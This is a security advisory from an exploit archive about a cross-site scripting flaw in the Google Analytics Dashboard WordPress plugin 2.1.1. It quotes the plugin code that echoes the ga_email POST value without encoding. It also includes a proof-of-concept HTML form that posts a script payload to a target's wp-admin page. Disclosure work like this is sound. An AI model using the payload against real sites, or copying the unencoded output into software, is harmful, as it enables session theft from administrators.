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WordPress Google Analytics Dashboard 2.1.1 Cross Site Scripting

WordPress Google Analytics Dashboard 2.1.1 Cross Site Scripting
Posted Mar 3, 2017
Authored by Yorick Koster, Securify B.V.

WordPress Google Analytics Dashboard plugin version 2.1.1 suffers from a cross site scripting vulnerability.

tags | exploit, xss
MD5 | 2e909e9b3784d3c4edbbc4b193525cfd

WordPress Google Analytics Dashboard 2.1.1 Cross Site Scripting

Change Mirror Download
------------------------------------------------------------------------
Cross-Site Scripting in Google Analytics Dashboard WordPress Plugin
------------------------------------------------------------------------
Yorick Koster, July 2016

------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
A Cross-Site Scripting vulnerability was found in the Google Analytics
Dashboard WordPress Plugin. This issue allows an attacker to perform a
wide variety of actions, such as stealing Administrators' session
tokens, or performing arbitrary actions on their behalf. In order to
exploit this issue, the attacker has to lure/force a logged on WordPress
Administrator into opening a malicious website.

------------------------------------------------------------------------
OVE ID
------------------------------------------------------------------------
OVE-20160724-0026

------------------------------------------------------------------------
Tested versions
------------------------------------------------------------------------
This issue was successfully tested on Google Analytics Dashboard
WordPress Plugin version 2.1.1.

------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
There is currently no fix available.

------------------------------------------------------------------------
Details
------------------------------------------------------------------------
https://sumofpwn.nl/advisory/2016/cross_site_scripting_in_google_analytics_dashboard_wordpress_plugin.html

This issue exists in the file gad-admin-options-ui.php and is caused due to the lack of output encoding on the ga_email option/request parameter.

<tr valign="top">
<th scope="row">
<label for="ga_email"><?php _e( 'Google Analytics Email', 'google-analytics-dashboard' ); ?></label></th>
<td>
<input name="ga_email" type="text" size="15" id="ga_email" class="regular-text" value="<?php echo isset( $_POST['ga_email'] ) ? $_POST['ga_email'] : get_option( 'gad_login_email' ); ?>" />
</td>
</tr>

In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website.

Proof of concept

<html>
<body>
<form action="http://<target>/wp-admin/options-general.php?page=google-analytics-dashboard%2Fgad-admin-options.php" method="POST">
<input type="hidden" name="gad_login_type" value="client" />
<input type="hidden" name="ga_email" value=""><script>alert(1);</script>" />
<input type="hidden" name="ga_pass" value="password" />
<input type="hidden" name="ga_save_pass" value="ga_save_pass" />
<input type="hidden" name="SubmitLogin" value="Login ?»" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>


------------------------------------------------------------------------
Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its
goal is to contribute to the security of popular, widely used OSS
projects in a fun and educational way.

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